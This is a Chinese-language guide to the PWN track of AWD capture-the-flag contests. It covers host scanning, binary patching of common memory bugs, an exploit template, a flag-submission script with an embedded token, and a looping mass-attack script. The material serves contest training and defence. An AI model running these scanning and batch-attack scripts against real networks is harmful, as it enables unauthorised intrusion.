AWD:PWN流程与技巧总结
字数 1466 2025-08-22 12:22:54
AWD PWN流程与技巧全面指南
一、AWD竞赛基础准备
1. 主机扫描与初始化
在AWD比赛中,首先需要扫描并识别所有有效的主机IP地址:
# init_hosts.py 扫描脚本示例
import requests
import threading
li = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x: print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def check_ip(i):
try:
url = f'http://192-168-1-{i}.awd.bugku.cn/'
response = requests.get(url, timeout=0.5)
if response.status_code == 200:
li('[+] ' + url)
with open('hosts', 'a+') as f:
f.write(f'192-168-1-{i}.awd.bugku.cn:9999\n')
else:
raise Exception("Not 200 OK")
except Exception as e:
ll('[-] ' + url)
with open('h', 'a+') as f:
f.write(f'192-168-1-{i}.awd.bugku.cn:9999\n')
NUM_THREADS = 256
threads = []
for i in range(1, 256):
thread = threading.Thread(target=check_ip, args=(i,))
threads.append(thread)
thread.start()
if len(threads) >= NUM_THREADS:
for t in threads:
t.join()
threads = []
for t in threads:
t.join()
关键点:
- 使用多线程加速扫描过程
- 将有效主机写入hosts文件
- 注意修改IP格式和端口号以适应实际比赛环境
二、防御策略与补丁技术
1. 常用防御工具
- IDA Pro:用于二进制分析和补丁
- evilPatcher:https://github.com/TTY-flag/evilPatcher
- AwdPwnPatcher:https://github.com/aftern00n/AwdPwnPatcher
2. 沙箱防护技术
使用沙箱进行通用防御:
python3 evil_patcher.py file_name sandboxfile
3. IDA补丁步骤
- 分析二进制文件
- 定位漏洞点
- Edit -> Patch program -> Apply patches to input file
4. AwdPwnPatcher使用详解
from AwdPwnPatcher import *
binary = "filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
# 添加补丁到.eh_frame段
add_patch_in_ehframe(assembly="", machine_code=[])
# 原始位置补丁
patch_origin(start, end=0, assembly="", machine_code=[], string="")
# 通过jmp指令补丁
patch_by_jmp(jmp_from, jmp_to=0, assembly="", machine_code=[])
# 通过call指令补丁
patch_by_call(call_from, assembly="", machine_code=[])
# 在.eh_frame段添加常量
add_constant_in_ehframe(string)
# 保存补丁后的文件
save(save_path="")
三、常见漏洞类型与修复方案
1. 格式化字符串漏洞
32位修复方案:
from AwdPwnPatcher import *
binary = "filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
awd_pwn_patcher.patch_fmt_by_call(address) # call printf地址
awd_pwn_patcher.save()
64位修复方案:
from AwdPwnPatcher import *
binary = "filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\\x00\\x00") # 添加%s
assembly = """
mov rsi, qword ptr [rbp-0x8]
lea rdi, qword ptr [{}]
""".format(hex(fmt_offset))
awd_pwn_patcher.patch_by_jmp(0x706, jmp_to=0x712, assembly=assembly) # 改printf,mov rax地址和call printf地址
awd_pwn_patcher.save()
2. 栈溢出漏洞修复
from AwdPwnPatcher import *
binary = "filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
assembly = '''
push 0x20 # 缩小输入范围,控制寄存器push进去的值
'''
awd_pwn_patcher.patch_origin(0x8048476, end=0x804847b, assembly=assembly) # 原push地址和push的下一条地址
awd_pwn_patcher.save()
3. UAF(Use After Free)漏洞修复
32位修复方案:
from AwdPwnPatcher import *
binary = "./filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
assembly = """
add esp, 0x10
mov eax, 0
mov edx, dword ptr [ebp - 0x20]
mov eax, 0x804a060 # 被释放的地址
lea eax, dword ptr [eax + edx*4]
mov dword ptr [eax], 0
"""
awd_pwn_patcher.patch_by_jmp(0x80485bf, jmp_to=0x80485c7, assembly=assembly) # call free地址和下一条地址
awd_pwn_patcher.save()
64位修复方案:
from AwdPwnPatcher import *
binary = "./filename"
awd_pwn_patcher = AwdPwnPatcher(binary)
assembly = """
mov eax, 0
mov eax, dword ptr [rbp - 0x1c]
cdqe
lea rdx, qword ptr [0x201040]
lea rax, qword ptr [rdx + rax*8]
mov qword ptr [rax], 0
"""
awd_pwn_patcher.patch_by_jmp(0x838, jmp_to=0x83d, assembly=assembly)
awd_pwn_patcher.save()
4. gets函数栈溢出特殊处理
当只有gets函数能够接受用户输入时,可以将流程劫持到.eh_frame段,利用syscall构造read函数,控制输入数据的长度:
.eh_frame:0000000000400F7D mov rax, 0 ;#define __NR_read 0
.eh_frame:0000000000400F84 mov rdi, 0 ; fd
.eh_frame:0000000000400F8B lea rsi, [rbp+buf] ; buf
.eh_frame:0000000000400F8E mov rdx, 90h ; count
.eh_frame:0000000000400F95 syscall
.eh_frame:0000000000400F97 jmp loc_400AB4
5. 负数绕过修复
将JLE改为JBE防止负数绕过:
cmp eax, 20h
jle short loc_8048777
改为:
cmp eax, 20h
jbe short loc_8048777
四、攻击脚本开发
1. 基础exp模板
#!/usr/bin/env python3
# A script for awd exp
import os
import sys
from time import sleep
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x: print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x: print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
def write_to_flags(d):
fd = open('./flags', 'ab')
fd.write(d + b'\n')
fd.close()
ip = server_ip = sys.argv[1].split(':')[0]
port = int(sys.argv[1].split(':')[1])
r = remote(ip, port)
# exp代码
r.sendline(b'cat flag')
r.recvuntil(b'{')
flag = b'viol1t{' + r.recvuntil(b'}')
write_to_flags(flag)
r.interactive()
2. 自动提交flag脚本
#!/usr/bin/env python3
# A script for awd loop submit flag
import threading
from time import sleep
import os
import json
import requests
flag_file = './flags'
threads = []
def submit(flag):
try:
# url = 'https://ctf.bugku.com/awd/submit.html?token=88b02ce3b420ec1f4b4a2e02dd6fe305&flag=' + flag[:-1]
url = f"curl -X POST http://27.25.152.77:19999/api/flag -H 'Authorization: 7f120ca9b0e3024d06734a04a986cc55' -d '{{\"flag\":\"\"}}'"
print(url)
# r = requests.get(url)
os.system(url)
print('\x1b[01;38;5;214m[+] pwned! \x1b[0m')
except Exception as e:
print('\x1b[01;38;5;214m[-] connect fail: {} \x1b[0m'.format(str(e)))
def main():
with open(flag_file) as flag_txt:
flags = flag_txt.readlines()
for flag in flags:
thread = threading.Thread(target=submit, args=(flag,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
3. 批量攻击脚本
#! /bin/bash
attack_times=10000
round_wait_time=30 #half time
wait_submit_time=5
log_file="logs"
run_time=120 #timeout
next_attack_time=2.5
max_concurrent_attacks=10 # Max number of concurrent attacks
log(){
t=$(date "+%H:%M:%S")
m="[ $t ] $1 " # Fixed missing parameter usage
info="\033[43;37m $m \033[0m"
echo -e " $info "
echo -e " $m " >> $log_file
}
attack() {
echo "-- round $1 -- " >> all_flags
cat flags >> all_flags
rm flags
local jobs=0
for line in $(cat hosts); do
timeout --foreground $run_time python3 ./exp.py "$line" &
sleep $next_attack_time
((jobs++))
if [ "$jobs" -ge "$max_concurrent_attacks" ]; then
wait # Wait for all background jobs to finish
jobs=0
fi
done
wait # Ensure all attacks are complete before moving on
echo -e "\x1b[47;30m Waiting $wait_submit_time s to submit flag\x1b[0m"
sleep $wait_submit_time
echo -e "\x1b[47;30m Submitting flag\x1b[0m"
python3 ./submit_flag.py
}
for ((i=1; i<=attack_times; i++)); do
m="-round $i --"
log "$m"
attack $i
echo -e "\x1b[47;30m Waiting next round\x1b[0m"
sleep $round_wait_time
done
关键参数说明:
attack_times: 攻击轮次round_wait_time: 每轮攻击间隔时间(通常为半场时间)wait_submit_time: 提交flag前的等待时间run_time: 单次攻击超时时间max_concurrent_attacks: 最大并发攻击数
五、流量监控技术
pwn_waf实现步骤
- 创建一个文件夹并设置适当权限
- 修改makefile中的log path为该文件夹地址
- 执行make命令
- 将生成的pwn和catch文件放到创建的文件夹中
- 用catch替换pwn文件
- 攻击者使用exp攻击被替换的pwn文件时,流量会被记录到指定文件夹
六、AWD PWN完整流程
-
环境初始化
- 修改init_hosts.py中的IP格式和端口
- 运行扫描脚本获取有效主机列表
-
防御准备
- 分析二进制文件,定位漏洞点
- 使用AwdPwnPatcher或IDA打补丁
- 部署沙箱防护
-
攻击准备
- 编写exp脚本
- 修改submit_flag.py中的提交方式和token
- 配置attack.sh中的参数(round_wait_time等)
-
比赛执行
- 运行attack.sh开始自动化攻击
- 监控攻击结果,必要时手动调整
- 持续监控防御状态,及时修复新发现的漏洞
-
流量监控
- 部署pwn_waf监控攻击流量
- 分析攻击模式,调整防御策略
七、实用技巧总结
- 多线程应用:在扫描和攻击阶段合理使用多线程提高效率
- 自动化脚本:构建完整的自动化攻击链条,减少手动操作
- 防御优先级:优先修复高危漏洞(如远程代码执行)
- 补丁验证:打补丁后务必测试功能是否正常
- 日志分析:定期检查攻击日志,优化攻击策略
- 时间管理:合理设置攻击间隔,避免被封禁
- 资源监控:注意系统资源使用情况,避免因攻击脚本导致自身服务崩溃
通过掌握这些技术和流程,可以在AWD比赛中有效提升PWN方向的得分能力和防御能力。